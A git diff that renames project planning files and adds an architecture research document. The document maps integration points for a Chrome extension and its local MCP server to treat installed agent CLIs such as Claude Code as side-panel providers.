a/.planning/phases/64-opencode-adapter/64-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-REVIEW.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-REVIEW.md diff --git a/.planning/phases/64-opencode-adapter/64-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-SPEC.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-UI-SPEC.md diff --git a/.planning/phases/64-opencode-adapter/64-VALIDATION.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VALIDATION.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VALIDATION.md diff --git a/.planning/phases/64-opencode-adapter/64-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VERIFICATION.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-VERIFICATION.md diff --git a/.planning/phases/65-codex-adapter/65-01-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-01-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-02-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-02-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-03-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-03-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-04-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-04-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-05-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-05-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-06-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-06-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-07-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-07-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-08-PLAN.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-PLAN.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-PLAN.md diff --git a/.planning/phases/65-codex-adapter/65-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-SUMMARY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-08-SUMMARY.md diff --git a/.planning/phases/65-codex-adapter/65-CONTEXT.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-CONTEXT.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-CONTEXT.md diff --git a/.planning/phases/65-codex-adapter/65-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-HUMAN-UAT.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-HUMAN-UAT.md diff --git a/.planning/phases/65-codex-adapter/65-RESEARCH.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-RESEARCH.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-RESEARCH.md diff --git a/.planning/phases/65-codex-adapter/65-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW-FIX.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW-FIX.md diff --git a/.planning/phases/65-codex-adapter/65-REVIEW.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-REVIEW.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-REVIEW.md diff --git a/.planning/phases/65-codex-adapter/65-SECURITY.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-SECURITY.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-SECURITY.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-SECURITY.md diff --git a/.planning/phases/65-codex-adapter/65-UI-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW-FIX.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW-FIX.md diff --git a/.planning/phases/65-codex-adapter/65-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-REVIEW.md diff --git a/.planning/phases/65-codex-adapter/65-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-SPEC.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-UI-SPEC.md diff --git a/.planning/phases/65-codex-adapter/65-VALIDATION.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-VALIDATION.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-VALIDATION.md diff --git a/.planning/phases/65-codex-adapter/65-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/65-codex-adapter/65-VERIFICATION.md similarity index 100% rename from .planning/phases/65-codex-adapter/65-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/65-codex-adapter/65-VERIFICATION.md diff --git a/.planning/milestones/v0.9.91-research/ARCHITECTURE.md b/.planning/milestones/v0.9.91-research/ARCHITECTURE.md new file mode 100644 index 000000000..5122a6598 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/ARCHITECTURE.md @@ -0,0 +1,341 @@ +# Architecture Research: v0.9.91 MCP Clients as Providers + +**Domain:** Chrome MV3 extension + local MCP server ecosystem — installed agent CLIs as first-class side-panel providers +**Milestone:** v0.9.91 — SUBSEQUENT milestone; maps four features onto the existing FSB architecture (extension SW + ws://7225 hub/relay bridge + fsb-mcp-server stdio/serve). Existing architecture is mapped, not redesigned. +**Researched:** 2026-07-10 +**Confidence:** HIGH (every integration point verified against source at file:line; SDK `getClientVersion` verified via Context7; spawned-CLI flag surface is MEDIUM-LOW — see Open Questions) + +> Canonical-path note: per this directory's convention (see the header of `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.2.0 research is preserved at `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`. + +This is a brownfield integration map answering: (a) exact seams per feature, (b) new components, (c) data flows, (d) build order, (e) which process owns spawning, (f) delegation coexistence with the extension's own agent loop. + +--- + +## 1. Existing System Overview (verified) + +``` ++------------------------------ Chrome (MV3) -------------------------------+ +| Side panel (ui/sidepanel.js) Control panel (ui/options.js + | +| startAutomation/stopAutomation control_panel.html "API Config") | +| runtime msgs :1506/:1558 modelProvider select :146/:157 | +| | | | +| v v | +| background.js service worker -- fsbHandleRuntimeMessage :7610 | +| handleStartAutomation :8912 --> agent-loop.js runAgentLoop :1180 | +| handleStopAutomation :9559 (BYOK via universal-provider.js) | +| fsbAgentRegistryInstance (utils/agent-registry.js, global export :1468) | +| ^ | +| | dispatchMcpMessageRoute / dispatchMcpToolRoute | +| ws/mcp-bridge-client.js <---- ws://localhost:7225 ----+ | +| (_connectionId minted at onopen :127; | | +| routes agent:register et al :391-415) | | ++--------------------------------------------------------+------------------+ + | + +--------------------- Node processes ------------+----------------+ + | WebSocketBridge (mcp/src/bridge.ts) | + | hub (port 7225 owner) <-- relay:hello -- relay clients | + | hub-exit promotion with jitter :756-783 | + | | + | fsb-mcp-server stdio (per MCP client; index.ts :243) | + | fsb-mcp-server serve (HTTP daemon; index.ts :266, http.ts) | + | each createRuntime(): McpServer + AgentScope (runtime.ts :31) | + | AgentScope.ensure -> agent:register payload {} (:59-62) | + +------------------------------------------------------------------+ + ^ + | MCP stdio / Streamable HTTP + External MCP clients (Claude Code, Cursor, Codex, ...) + installed via install.ts / platforms.ts PLATFORMS (:77) +``` + +### Component Responsibilities (existing components this milestone touches) + +| Component | Responsibility | Evidence | +|-----------|----------------|----------| +| `extension/ui/onboarding.js` | Install-command copy UX; already knows the clicked client id | `INSTALL_CLIENTS` :35-45; fan-item click -> `copyCommand(client.cmd, client.id)` :522-525; `copyCommand()` :784-794 keeps `state.copied` in memory only (:67, :787) — **nothing is persisted today** | +| `extension/ui/control_panel.html` | "API Configuration" section to rename | `
` :144, `

API Configuration

` :146, `#modelProvider` select with 7 API providers :157-165, per-provider key groups (e.g. `#xaiApiKeyGroup` :196) | +| `extension/ui/options.js` | Provider select load/save + key-field visibility | default `modelProvider: 'xai'` :5; change listener :613-624; `updateApiKeyVisibility(provider)` :1301-1309; settings object built :1632; persisted flat to `chrome.storage.local` :1677 | +| `extension/ui/sidepanel.js` | Task entry; sends `startAutomation` with legacy agent identity | `ensureLegacySidepanelAgent()` :1503; `chrome.runtime.sendMessage({action:'startAutomation', task, tabId, agentId, ownershipToken})` :1506-1513; `stopAutomation()` :1545-1560 | +| `extension/background.js` | Session orchestration, kill switch, registry host | `fsbHandleRuntimeMessage` :7610; `handleStartAutomation` :8912; `startAutomationLoop` :11853; `handleStopAutomation` :9559 (storage-restore fallback; `fsbBroadcastAutomationLifecycle` on stop :9612) | +| `extension/utils/agent-registry.js` | Mints `agent_`, tab ownership, connection grace | `registerAgent()` :305 (AgentRecord `{agentId, createdAt, tabIds, ...}` :263, :333); `stampConnectionId()` :634 (the pattern to clone for clientInfo); staged releases keyed by connectionId :286; exported `global.FsbAgentRegistry` :1468 | +| `extension/ws/mcp-bridge-client.js` | Extension side of ws://7225; per-connect `connectionId`; routes server-to-extension requests | `_ws.onopen` mints `crypto.randomUUID()` :112-144 (:127); onclose stages release via `stageReleaseByConnectionId` :185-186; keepalive `mcp:ping` send :329-330, `mcp:pong` ignore :373; `_handleMessage` switch :364/:391 routes `agent:register`/`agent:release`/`agent:status` :395-397 | +| `extension/ws/mcp-tool-dispatcher.js` | Route handlers incl. agent identity | `handleAgentRegisterRoute` :1935-1994 — mints via registry, stamps `connectionId` :1965-1970, returns `{success, agentId, agentIdShort, ownershipTokens:{}, connectionId}` :1993; cap rejection `AGENT_CAP_REACHED` :1947-1954. **`clientInfo` appears nowhere in this payload today** | +| `extension/ai/engine-config.js` | Named execution modes | `EXECUTION_MODES` :63-108 — exactly four: `autopilot`, `mcp-manual`, `mcp-agent`, `dashboard-remote`; `loadSessionConfig(modeName)` :126 | +| `mcp/src/bridge.ts` | Hub/relay WS topology on 7225 | hub start :264-295; browser-origin gate :297-309 (`allowedBrowserOrigins ['chrome-extension://']` :90); relay handshake `relay:hello` :328-333, `relay:welcome` :453-462, `relay:state` broadcast :502-509; `_handleExtensionMessage` :515-572 (understands ONLY `mcp:ping`, `mcp:progress`, and id-matched responses — **extension-initiated requests have no protocol today**); hub-exit promotion :756-783; reject-message contract `BRIDGE_DISCONNECT_MESSAGES` :34-38 | +| `mcp/src/agent-scope.ts` | Per-process (stdio) / per-session (HTTP) agent identity | `ensure()` sends `{type:'agent:register', payload:{}}` :59-62 — **the empty payload is the clientInfo seam**; defensive optional-field consumption pattern :77-101 | +| `mcp/src/agent-bridge.ts` | Threads agentId/ownershipToken/connectionId into every tool payload | `sendAgentScopedBridgeMessage` :70-93 | +| `mcp/src/runtime.ts` | Assembles server+bridge+queue+AgentScope | `createRuntime()` :31-50; `agentScope: options.agentScope ?? new AgentScope()` :34 | +| `mcp/src/http.ts` | `serve` daemon; per-HTTP-session McpServer sharing ONE bridge/queue | initialize creates `createRuntime({bridge, queue})` :123-143 — each HTTP session gets its **own AgentScope + own McpServer** (so its own clientInfo), shared bridge | +| `mcp/src/index.ts` | CLI entry: stdio/serve/status/doctor/install | stdio :243-264; `serve` -> `runHttpMode` :381-383/:266-294; `doctor` -> `runDoctor` :388-389/:334-348; help claims "install (21 platforms)" :93 | +| `mcp/src/platforms.ts` | Client registry with per-OS config paths | `PLATFORMS` :77 (23 entries: 18 file-mode, 1 cli-mode `claude-code` :95-103 with `configPath: null`, 4 instructions-mode :314/:324/:334/:344); disk detection = `resolvePlatformTarget()` :437-490 via `existsSync` on config file :455-466 then parent dir :468-479 | +| `mcp/src/install.ts` | Writes client configs / prints commands | `getClaudeCodeInstallCommand()` :31-33 (`claude mcp add --scope user fsb -- npx -y fsb-mcp-server`) | +| `mcp/src/tools/autopilot.ts` | `run_task` -> `mcp:start-automation` with onProgress heartbeats | :33, :51, :124-131 | +| `mcp/src/types.ts` | Bridge wire vocabulary (INV-01 additive-only) | `MCPMessageType` :8-48 (server-to-extension requests + `agent:*`); `MCPResponse` union `mcp:result|mcp:progress|mcp:error` :51-55 | +| `mcp/src/diagnostics.ts` | doctor layer classification | `collectBridgeDiagnostics()` :422 (offline-UX handoff target) | + +--- + +## 2. Integration Seams Per Feature (question a) + +### Feature 1 — Agent identity capture + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Copy-click persistence | `extension/ui/onboarding.js:508-509` (base-command binds), `:522-525` (per-client fan binds), `:784-794` (`copyCommand` body) | MODIFY: add `persistCopyClick(clientId)` inside `copyCommand`; today `state.copied` is render-only | +| `initialize` clientInfo capture | `mcp/src/server.ts:9-21` (McpServer creation), `mcp/src/runtime.ts:31-50` | MODIFY: read `server.server.getClientVersion()` -> `Implementation {name, version}` after initialize. Verified via Context7: functional in SDK v1.x (repo pins `@modelcontextprotocol/sdk ^1.29.0`, `mcp/package.json:54`); deprecated only in the SDK v2 migration. Capture point: `oninitialized` hook or lazily inside `AgentScope.ensure` | +| Thread clientInfo through register | `mcp/src/agent-scope.ts:59-62` — `payload: {}` today | MODIFY: `payload: { clientInfo: {name, version} }` (additive; INV-01 safe). `AgentScope` needs a clientInfo supplier injected via `createRuntime` (runtime.ts:31) since it currently has no server handle | +| Extension-side stamping | `extension/ws/mcp-tool-dispatcher.js:1935-1994`; precedent: `connectionId` capture :1965-1970 | MODIFY: read `payload.clientInfo`, call new `reg.stampClientInfo(agentId, clientInfo)` | +| Registry record | `extension/utils/agent-registry.js:263` (AgentRecord shape), `:305` (registerAgent), `:634` (`stampConnectionId` — clone this) | MODIFY: `clientInfo` on AgentRecord + `stampClientInfo()`; surface in status/list snapshots | +| Installed-client disk detection | `mcp/src/platforms.ts:437-490` (`detected` flag) | REUSE server-side; NEW inventory push to extension (Section 3). Pitfall: `claude-code` is cli-mode with `configPath: null` (:95-103) so `resolvePlatformTarget` always reports `detected:false` for it — Claude Code detection must check the `claude` binary / `~/.claude.json` instead | +| Control-panel surfacing | `extension/ui/options.js` + `control_panel.html` | MODIFY: read new storage keys + new `getMcpClients` runtime message answered from the registry. Do NOT revive the commented background-agents `listAgents` surface (`options.js:5767`, `sidepanel.js:3651`) — that is the sunset v0.9.45rc1 path (INV-05) | + +### Feature 2 — Providers panel + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Section rename | `extension/ui/control_panel.html:144-148` (`id="api-config"`, `

API Configuration

` :146) | MODIFY copy to "Providers"; keep element ids stable where tests pin them (source-pin tripwires — run suite from first commit) | +| Provider select | `control_panel.html:157-165` (`#modelProvider`: xai/gemini/openai/anthropic/openrouter/lmstudio/custom) | MODIFY: add agent-provider entries (e.g. grouped optgroups) + recommended badge | +| Kind-aware key visibility | `extension/ui/options.js:1301-1309` (`updateApiKeyVisibility`) + change listener :613-624 | MODIFY: `agent` kind hides ALL key groups, shows connected/installed status instead | +| Settings model | `options.js:5` (default), `:1632` (save object), `:1677` (`chrome.storage.local.set`), `:1337-1376` (load) | MODIFY: introduce `providerKind` (`api`\|`agent`) + `agentProviderId` alongside `modelProvider`; `modelProvider` keeps its 7 API values so `universal-provider.js` (provider switches :196/:550) never sees an agent value | +| Recommended defaulting | new `fsbAgentProviders` storage | NEW: precedence connected > installed > copy-clicked | + +### Feature 3 — Side-panel delegation (Claude Code MVP) + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Side panel send | `sidepanel.js:1506-1513` | MODIFY: when selected provider kind is `agent`, dispatch new `startDelegatedTask` runtime message instead of the BYOK path | +| Background coordinator | `background.js:7610` (router), alongside `handleStartAutomation` :8912 | NEW `handleStartDelegatedTask`: lightweight delegated session record (UI state only), forwards over the reverse channel | +| Extension reverse-request send | `mcp-bridge-client.js` — precedent: fire-and-forget `mcp:ping` :329-330; `_handleMessage` switch :364-415 | NEW: extension-initiated request/response (`ext:*` frames) with own pending-map + id namespace; today the client can only *respond* to server requests | +| Bridge protocol | `mcp/src/bridge.ts:515-572` (`_handleExtensionMessage` drops unknown frames), `:328-333` (`relay:hello`), `:441-489` (relay registration), `types.ts:8-55` | NEW additive frames: `ext:request`/`ext:response`/`ext:event` + supervisor capability advertisement on `relay:hello`/`relay:welcome`/`relay:state` (additive fields; INV-01) | +| Spawner | none today | NEW `mcp/src/spawn-supervisor.ts` (Section 3 + Section 5) | +| Spawned CLI re-entry | entire existing pipeline: child runs `fsb-mcp-server` stdio -> relay on 7225 -> `agent:register` (`agent-scope.ts:53`) -> own agentId + tab ownership -> tool dispatch | REUSE unchanged — the core reuse win of the milestone | +| Progress to side panel | bridge `mcp:progress` origin-routing precedent :541-551; extension-to-UI precedent `fsbBroadcastAutomationLifecycle` `background.js:2456` | NEW `ext:event` frames supervisor -> hub -> extension -> runtime message -> `sidepanel.js` renderer | +| Kill switch | `sidepanel.js:1545-1560` -> `background.js:9559`; grace release `mcp-bridge-client.js:185-186` + registry :286 | MODIFY stop path for delegated sessions: `ext:request delegate.cancel` (supervisor SIGTERMs child); child's WS close then reuses existing `stageReleaseByConnectionId` cleanup | +| Offline UX | `mcp/src/diagnostics.ts:422`, `index.ts:334-348` (doctor) | NEW side-panel state: no supervisor answers -> "agent offline — run `fsb-mcp-server serve` / `doctor`" (extension has no nativeMessaging; it cannot wake any process) | +| Execution mode | `extension/ai/engine-config.js:63-108` | MODIFY: fifth `EXECUTION_MODES` entry `delegated` | + +### Feature 4 — Multi-agent adapters + +| Seam | File:line | Change kind | +|------|-----------|-------------| +| Adapter contract | new `mcp/src/agent-providers/` | NEW `AgentProviderAdapter`: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()` | +| Claude Code adapter | `install.ts:31-33` (CLI command precedent); platforms cli-mode nuance :95-103 | NEW `claude-code.ts` — built as an adapter from day one so OpenCode/Codex/Gemini slot in | +| Detection reuse | `platforms.ts:437-490` | REUSE for file-mode clients; per-adapter binary checks for cli-mode | +| Provider list wiring | Providers panel model (Feature 2) | MODIFY: adapter ids become `agent` provider ids; `caps()` gates task-mode vs chat-mode (`--resume`) UI | + +--- + +## 3. New Components (question b) + +| Component | Location | Kind | Contents | +|-----------|----------|------|----------| +| Reverse-request protocol frames | `mcp/src/types.ts` (+ `bridge.ts` + `mcp-bridge-client.js`) | NEW wire types (additive) | `ext:request {id, method, payload, secret}` extension->hub; `ext:response {id, payload}` hub->extension; `ext:event {id, payload}` streamed supervisor->extension. Plus additive `capabilities: ['agent-spawn']` on `RelayHello` and supervisor presence on `RelayWelcome`/`RelayState` (types.ts:70-80 region) | +| Spawner/supervisor | `mcp/src/spawn-supervisor.ts` | NEW module | Consent + shared-secret validation; adapter lookup; `child_process.spawn` with adapter-built argv (never `shell:true`); stream-json stdout parse -> `ext:event` fan-out; kill (SIGTERM -> SIGKILL escalation); child bookkeeping keyed by `delegationId`; exit-watch emits terminal event | +| Adapter registry | `mcp/src/agent-providers/{index,adapter,claude-code}.ts` | NEW | `AgentProviderAdapter` contract; registry keyed by client ids aligned with `INSTALL_CLIENTS` (`onboarding.js:35-45`) and `PLATFORMS` keys (`platforms.ts:77`) | +| Client-identity capture glue | inline in `runtime.ts` / `agent-scope.ts` | NEW glue | `getClientVersion()` read + supplier threading into `agent:register` payload | +| Extension reverse-channel client | `extension/ws/mcp-bridge-client.js` | MODIFY (new capability) | `sendExtRequest(method, payload, {timeout})` with pending map + `ext:` id prefix; `ext:event` subscription routed to background listeners | +| Delegation coordinator | `extension/background.js` | MODIFY (new handlers) | `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records; event relay to side panel | +| Captured-identity storage schema | `chrome.storage.local` | NEW schema (additive keys) | `fsbAgentProviders: { copyClicks: {: {count, lastCopiedAt}}, connected: {: {lastSeenAt, version}}, installed: {: {detected, configPath, checkedAt}}, selected: {kind:'api'|'agent', id} }`. Registry AgentRecord carries `clientInfo` as session-scoped truth; `fsbAgentProviders.connected` is the durable rollup | +| Provider-kind model | `extension/ui/options.js` + engine read sites | MODIFY | `providerKind` setting + guard so BYOK engine paths only ever see the existing 7 API providers | +| Fifth execution mode | `extension/ai/engine-config.js:63-108` | MODIFY | `delegated: { uiFeedbackChannel:'popup-sidepanel', animatedHighlights:true, safetyLimits: wall-clock watchdog (iterations N/A — loop runs in the external CLI) }` | + +--- + +## 4. Data Flows (question c) + +### Flow 1 — Onboarding capture -> storage + +``` +User hovers copy fan, clicks a client (e.g. "Cursor") + onboarding.js:522-525 (button dataset.copyClient -> INSTALL_CLIENTS lookup) + -> copyCommand(client.cmd, client.id) onboarding.js:784 + -> writeClipboard(text) :796 + -> NEW persistCopyClick(client.id) -> chrome.storage.local + fsbAgentProviders.copyClicks['cursor'] = {count+1, lastCopiedAt} +Control panel Providers section reads fsbAgentProviders on load + (options.js load path :1337-1376) -> renders "copy-clicked" tier (weakest signal) +``` +Base-command copies (`:508-509`) copy the currently rolled client's flag (`state.token` :63) — persist `{clientId: current, source:'base'}` so those clicks are not lost. + +### Flow 2 — initialize clientInfo -> agent:register -> extension registry -> control panel + +``` +Claude Code launches `npx -y fsb-mcp-server` (stdio) [or connects to serve HTTP] + SDK initialize handshake carries clientInfo {name, version} + stdio: one runtime/process (index.ts:243-247); HTTP: one runtime/session (http.ts:123-143) + server.server.getClientVersion() -> {name, version} [SDK v1.x accessor, verified] +First tool call -> AgentScope.ensure(bridge) agent-scope.ts:53 + payload {} -> NEW payload {clientInfo} agent-scope.ts:59-62 + bridge.sendAndWait('agent:register') bridge.ts:180-228 + hub -> extension WS bridge.ts:219-222 + mcp-bridge-client.js _handleMessage :364, case 'agent:register' :395 + dispatchMcpMessageRoute -> handleAgentRegisterRoute mcp-tool-dispatcher.js:1935 + reg.registerAgent() mints agent_ agent-registry.js:305 + reg.stampConnectionId(...) dispatcher :1965-1970 (existing) + NEW reg.stampClientInfo(agentId, clientInfo) (clone of registry :634 pattern) + NEW rollup: fsbAgentProviders.connected['claude-code'] = {lastSeenAt, version} + response {agentId, agentIdShort, connectionId} dispatcher :1993 -> AgentScope caches +Control panel: NEW getMcpClients runtime message -> background reads registry + fsbAgentProviders + -> Providers panel shows "Claude Code — connected (agent_ab12...)" + (trusted-label precedent: visual-session clientLabel, dispatcher :1902) +``` +Topology note: each stdio MCP client is its own process -> own AgentScope -> own clientInfo. In `serve` mode each HTTP session gets its own McpServer+AgentScope (http.ts:125 passes only bridge+queue; runtime.ts:34 defaults a fresh AgentScope) — clientInfo is correctly per-client on both transports. + +### Flow 3 — Side-panel delegation round trip + +``` +[side panel] provider kind=agent (claude-code) selected; user types task, Send + sidepanel.js NEW branch at the :1506 send site -> runtime msg + startDelegatedTask {task, tabId(hint), providerId} +[background] NEW handleStartDelegatedTask -> delegated session-lite record (UI state) + -> mcp-bridge-client NEW sendExtRequest('delegate.start', + {task, providerId, tabHint, consentTier, secret}) +[ws 7225] ext:request -> hub _handleExtensionMessage (bridge.ts:515) NEW ext:* branch + hub is supervisor? yes -> handle locally + no -> forward to the relay that advertised capabilities:['agent-spawn'] + none -> ext:response {error:'agent_provider_offline'} +[supervisor = serve daemon] SpawnSupervisor.validate(secret, consent) + -> adapter('claude-code').buildSpawn(task) + -> spawn claude -p ... --output-format stream-json --strict-mcp-config + + hermetic mcp-config pointing ONLY at fsb + shipped `fsb` agent definition + (exact flags: verify in phase research) + -> ext:response {delegationId} -> extension -> side panel "delegating..." +[spawned CLI] launches its own `npx fsb-mcp-server` (stdio) -> connects 7225 as relay + -> agent:register (Flow 2) -> OWN agentId + clientInfo + -> MCP tools (read_page/click/run_task/...) -> bridge -> extension dispatcher + -> tab actions under ITS OWN ownership (agent-registry bindTab :492-500) + visible glow +[events] supervisor parses child stream-json + -> ext:event {delegationId, phase, text, toolUse} -> hub -> extension bridge client + -> runtime message -> sidepanel.js progress renderer +[stop] side panel Stop (sidepanel.js:1545) -> background NEW stopDelegatedTask + -> sendExtRequest('delegate.cancel', {delegationId}) -> supervisor SIGTERM child + -> child exits -> child's stdio server WS closes -> extension-side grace release + (stageReleaseByConnectionId, mcp-bridge-client.js:185-186 / registry :286) + -> supervisor ext:event {status:'cancelled'} -> side panel terminal state +``` + +### State Management + +- Delegated-task UI state: background session-lite records + `chrome.storage.session` for SW-eviction survival. The MV3 SW WILL be evicted during long delegations; on WS reconnect the extension mints a fresh `_connectionId` (mcp-bridge-client.js:112-144), so `delegationId` must live in storage and re-associate on wake — mirror the `handleStopAutomation` storage-restore fallback pattern (background.js:9567-9586). +- Identity ground truth: `fsbAgentProviders` (durable rollup) + live registry AgentRecords. + +--- + +## 5. Spawner Ownership: hub vs relay vs serve daemon (question e) + +**Recommendation: the `serve` daemon owns spawning. `SpawnSupervisor` lives in the `fsb-mcp-server serve` process regardless of whether its bridge is currently hub or relay. The hub's only new job is routing `ext:*` frames to whichever connected process advertises the `agent-spawn` capability — handling locally when it is itself the supervisor.** + +Rationale: + +1. **Process lifetime.** Hub identity is unstable by design: any stdio server owned by an unrelated client session can hold the port, and hub-exit promotion (bridge.ts:756-783, jittered race, exercised by `tests/mcp-bridge-topology.test.js` `runHubExitPromotion` :242) reshuffles roles whenever that client exits. A spawned CLI's stream-json stdout must be read for the whole delegation; if the reader were "whoever is hub", a Cursor session quitting mid-delegation would orphan the child and its event stream. The serve daemon is 